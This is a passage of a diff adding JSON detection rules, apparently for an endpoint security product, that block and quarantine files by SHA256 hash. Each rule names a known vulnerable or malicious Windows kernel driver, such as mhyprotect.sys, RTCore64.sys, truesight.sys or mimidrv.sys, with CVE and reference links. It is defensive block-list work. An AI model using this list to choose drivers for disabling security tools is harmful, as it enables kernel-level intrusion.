+  "hl_testing_start_time": "2026-03-23T11:45:31.828007Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29568e4c63b1ce1fd0a6482e934139b02b999bdb46213483c36540897deddb1b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c0f2bec-8887-537f-8953-617f3bd42033",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461752Z",
+  "creation_date": "2026-03-23T11:45:30.461756Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461764Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8bdcf7457c2caf7fa0386571f972d7f5220d385ad686e2c3536f4c67ba4333e6",
+  "comment": "Vulnerable Kernel Driver (aka mhyprotect.sys) [https://www.loldrivers.io/drivers/7abc873d-9c28-44c2-8f60-701a8e26af29/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c33ceb3-337f-57e1-82ae-71ef8e6e9ecc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608474Z",
+  "creation_date": "2026-03-23T11:45:29.608476Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3724b39e97936bb20ada51c6119aded04530ed86f6b8d6b45fbfb2f3b9a4114b",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c35a0c6-43f3-5b4d-b34d-c7cc820afcc6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825836Z",
+  "creation_date": "2026-03-23T11:45:31.825838Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825844Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "540c2a28f82a9f3b09b79c6d0adbccff9655645fcc93133840ac4abcb19ef643",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c36919e-06a7-5eb1-99aa-81dfba1a696d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974540Z",
+  "creation_date": "2026-03-23T11:45:29.974542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974547Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14cfe7b4f7572aa3434ac5dd458a35f286538b34734cf7a310fb7bcba209921c",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c3db75b-5858-5815-ab91-6b1536bd4212",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145242Z",
+  "creation_date": "2026-03-23T11:45:32.145244Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145249Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e060b051d0b8eca8490347f679e63391c792b6b37684e11301f4ed187173c3fd",
+  "comment": "Vulnerable Kernel Driver (aka RtsPer.sys) [https://www.loldrivers.io/drivers/32155681-33e8-4d0d-b9f6-c822851e7321/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c538976-3446-58d6-9aad-45374163ef6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607748Z",
+  "creation_date": "2026-03-23T11:45:29.607750Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607755Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f1025601d17945c3a47026814bdec353ee363966e62dba7fe2673da5ce50def",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c5a0c32-08da-54bf-a778-a2f3b476e2ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819567Z",
+  "creation_date": "2026-03-23T11:45:30.819569Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819575Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16ae28284c09839900b99c0bdf6ce4ffcd7fe666cfd5cfb0d54a3ad9bea9aa9c",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c63e9e1-8c23-5cee-8edb-04143c794a1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143521Z",
+  "creation_date": "2026-03-23T11:45:32.143524Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143529Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3af9c376d43321e813057ecd0403e71cafc3302139e2409ab41e254386c33ecb",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c746b78-8969-5498-af20-41eb156a995d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825364Z",
+  "creation_date": "2026-03-23T11:45:31.825367Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825376Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06480527d19a9f4976aeb5c1a6bd362618d472d2bc84032e50ff4f23187ff5dd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c76c165-dd18-5f38-b09e-10c4aaddebff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467210Z",
+  "creation_date": "2026-03-23T11:45:30.467213Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467222Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0cde416accd63c33ac9f4fd7bb6426c8bc3e6a18a335e9bbfea7cc767c30d3b6",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c81e492-3627-5c81-85b5-d9ef245db970",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146226Z",
+  "creation_date": "2026-03-23T11:45:32.146229Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146234Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b4f33ffef069c18e8a8834eb448dd1f1dbdaae93b140cfff5a1db015eb3ada2f",
+  "comment": "Malicious Kernel Driver (aka driver_b4f33ffe.sys) [https://www.loldrivers.io/drivers/51a44484-8bcc-4150-8b94-4a755cff0af8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c8880c7-69de-5f01-9a22-73e3bdb020d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467819Z",
+  "creation_date": "2026-03-23T11:45:30.467823Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467832Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f43d0680cecea2db04d2f2eff7ff37a13beec280e62b76b9dbdc38d0e225fca",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c8cab98-f1c2-5b65-aae6-b7318f2aa8d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617289Z",
+  "creation_date": "2026-03-23T11:45:29.617291Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617296Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad40e6d0f77c0e579fb87c5106bf6de3d1a9f30ee2fbf8c9c011f377fa05f173",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c8dd904-0551-5481-bad6-efb1f4b12ec6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817042Z",
+  "creation_date": "2026-03-23T11:45:31.817044Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817050Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "268e8ab3593266b68e6ffde8b97ad4fe04eff0b10d737d4e9bccd6623d43f374",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c92435a-63c7-529c-864f-dbf529ecbbc4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969488Z",
+  "creation_date": "2026-03-23T11:45:29.969490Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969495Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5af59d6ca109b5cae3350b48b85274ce181e45be4c7f7156bdf58ca3ca7f4188",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c92e144-b19e-5239-bd5d-95889bed4a68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825494Z",
+  "creation_date": "2026-03-23T11:45:31.825496Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825501Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f46c650e76a8e764cd4b4867c8baf9bbdbaae3be5c7b5d193ab3813fb59e0a57",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c9cfd80-5407-5d71-aaa1-8ff7b6e29b9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614215Z",
+  "creation_date": "2026-03-23T11:45:29.614217Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614222Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "555ebe7901706dbf801b5dbda6660002d3b36e5c669ec98ccfc6884a7481c56e",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ca053e4-4c46-53d0-8f9a-ca1130043e55",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606935Z",
+  "creation_date": "2026-03-23T11:45:29.606937Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606950Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b4f9272894f926d4f3b957fca673140a3a24dc896f1a49badaa1e04687b223cd",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ca0ee17-6652-5a70-87b5-17024ccd354c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979602Z",
+  "creation_date": "2026-03-23T11:45:29.979604Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979609Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7e7824d611527b67fc36128da1b35d9b8ce3ffdab3fb96e3dbabd6e9c9570c0",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ca924f3-1fa3-5ba0-a28d-e53b85d9ab62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463839Z",
+  "creation_date": "2026-03-23T11:45:30.463842Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463851Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bcca03ce1dd040e67eb71a7be0b75576316f0b6587b2058786fda8b6f0a5adfd",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ca99354-fa3d-5e23-bce0-af4be1bd3496",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473242Z",
+  "creation_date": "2026-03-23T11:45:30.473245Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473254Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da617fe914a5f86dc9d657ef891bbbceb393c8a6fea2313c84923f3630255cdb",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ca9b741-f1d4-5f9a-9bf7-4bb13f059716",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473236Z",
+  "creation_date": "2026-03-23T11:45:31.473239Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473248Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9137c32623cd450511f60c6bb44e14ced32dc66de2bd5880ce9be18c40bee263",
